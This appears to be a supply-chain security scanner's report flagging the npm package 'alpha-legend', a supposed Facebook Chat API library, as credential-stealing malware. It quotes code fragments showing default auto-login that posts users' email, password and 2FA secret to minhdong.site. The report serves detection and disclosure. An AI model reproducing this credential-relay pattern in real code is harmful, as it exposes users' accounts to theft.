registry / Credential exfiltration / alpha-legend

alpha-legend

Facebook Chat API by Alpha ! Stable • Auto Re-login • Full E2EE Support — send messages, media, reactions & more in encrypted chats, hassle-free

This report shows the evidence for alpha-legend@1.0.0, the only known version.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

Source establishes credential exfiltration to a hard-coded non-Facebook endpoint, including an automatic recovery trigger. No lifecycle hook is needed for this concrete runtime attack.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

User login with email/password or session recovery using fca-config.json credentials.

Impact

Facebook credentials, 2FA secret, and returned session tokens/cookies can be exposed to the external service.

Mechanism

credential submission to package-controlled API

Attack narrative

The default configuration enables automatic login through minhdong.site. loginViaAPI constructs a request containing the supplied email and password and POSTs it to that service; the auto-relogin path reads credentials from fca-config.json and calls the same function. The package then accepts returned cookies and access tokens, making this a concrete credential-harvesting chain rather than normal Facebook API traffic.

AI rationale

Source establishes credential exfiltration to a hard-coded non-Facebook endpoint, including an automatic recovery trigger. No lifecycle hook is needed for this concrete runtime attack.

Evidence

module/config.jsmodule/loginHelper.jssrc/api/socket/core/getSeqID.jspackage.jsonfca-config.json

Network endpoints1

minhdong.site/api/v1/facebook/login_ios

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

Default configuration enables auto-login and selects minhdong.site.
Login code posts supplied email and password to that external server.
Session recovery reads configured credentials and invokes that login path.

Evidence against

package.json has no preinstall, install, or postinstall hook.
Remote-control WebSocket is disabled unless configured.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsEvalFilesystemNetworkWebSocket

Supply chain

HighEntropyStringsUrlStrings

Manifest

GitDependency

scanned 139 file(s), 938 KB of source, external domains: 127.0.0.1, api.github.com, b-graph.facebook.com, facebook.com, github.com, m.facebook.com, minhdong.site, reg-e2ee.facebook.com, registry.npmjs.org, static.xx.fbcdn.net, upload.facebook.com, www.facebook.com, www.messenger.com, www.whatsapp.com

Source & flagged code

11 flagged

src/api/socket/e2ee/vendor/fme/dist/index.cjsView file

303patternName = google_api_key severity = high line = 303 matchedText = ["64", "...7"],

High

High Secret

Package contains a high-severity secret pattern.

src/api/socket/e2ee/vendor/fme/dist/index.cjsView on unpkg · L303

303patternName = google_api_key severity = high line = 303 matchedText = ["64", "...7"],

High

Secret Pattern

Google API key in src/api/socket/e2ee/vendor/fme/dist/index.cjs

src/api/socket/e2ee/vendor/fme/dist/index.cjsView on unpkg · L303

src/api/socket/e2ee/native/nativeMediaBridge.jsView file

45// eslint-disable-next-line no-new-func L46: return new Function("s", "return import(s)")(specifier); L47: }

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/api/socket/e2ee/native/nativeMediaBridge.jsView on unpkg · L45

module/loginHelper.jsView file

•matchType = normalized_sha256 matchedPackage = @eryxenx/fca@1.0.2 matchedPath = module/loginHelper.js matchedIdentity = npm:QGVyeXhlbngvZmNh:1.0.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/loginHelper.jsView on unpkg

1"use strict"; L2: const fs = require("fs"); L3: const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) src/api/socket/core/getSeqID.js: const email = config.credentials?.email || config.email; const password = co

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = @eryxenx/fca@1.0.2 matchedPath = module/config.js matchedIdentity = npm:QGVyeXhlbngvZmNh:1.0.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/config.jsView on unpkg

src/api/socket/e2ee/native/build/messagix.soView file

•path = [redacted].so kind = native_binary sizeBytes = 17504872 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

src/api/socket/e2ee/native/build/messagix.soView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = @eryxenx/fca@1.0.2 matchedPath = [redacted].js matchedIdentity = npm:QGVyeXhlbngvZmNh:1.0.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = @eryxenx/fca@1.0.0 matchedPath = src/api/socket/e2ee/index.js matchedIdentity = npm:QGVyeXhlbngvZmNh:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/index.jsView on unpkg

src/api/socket/core/getSeqID.jsView file

•matchType = normalized_sha256 matchedPackage = @eryxenx/fca@1.0.2 matchedPath = src/api/socket/core/getSeqID.js matchedIdentity = npm:QGVyeXhlbngvZmNh:1.0.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/core/getSeqID.jsView on unpkg

Source & flagged code

11 flagged · loading source

src/api/socket/e2ee/vendor/fme/dist/index.cjsView file

303patternName = google_api_key severity = high line = 303 matchedText = ["64", "...7"],

High

High Secret

Package contains a high-severity secret pattern.

src/api/socket/e2ee/vendor/fme/dist/index.cjsView on unpkg · L303

303patternName = google_api_key severity = high line = 303 matchedText = ["64", "...7"],

High

Secret Pattern

Google API key in src/api/socket/e2ee/vendor/fme/dist/index.cjs

src/api/socket/e2ee/vendor/fme/dist/index.cjsView on unpkg · L303

src/api/socket/e2ee/native/nativeMediaBridge.jsView file

45// eslint-disable-next-line no-new-func L46: return new Function("s", "return import(s)")(specifier); L47: }

Low

Findings

1 Critical7 High6 Medium5 Low

CriticalHardcoded Runtime Data Exfiltrationmodule/config.js

HighHigh Secretsrc/api/socket/e2ee/vendor/fme/dist/index.cjs

HighKnown Malware Source Similaritymodule/loginHelper.js

HighKnown Malware Source Similaritysrc/api/messaging/uploadAttachment.js

HighKnown Malware Source Similaritysrc/api/socket/e2ee/index.js

HighKnown Malware Source Similaritymodule/config.js

HighKnown Malware Source Similaritysrc/api/socket/core/getSeqID.js

HighSecret Patternsrc/api/socket/e2ee/vendor/fme/dist/index.cjs

MediumDynamic Requiremodule/loginHelper.js

MediumNetwork

MediumEnvironment Vars

Medium

Affected versions and remediation

This report applies to alpha-legend@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing alpha-legend@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-21 21:56:06.370Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousCredential ExfiltrationBlockPublishedAug 21, 2026, 9:31 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Related packages

Other credential exfiltration packages

Source & flagged code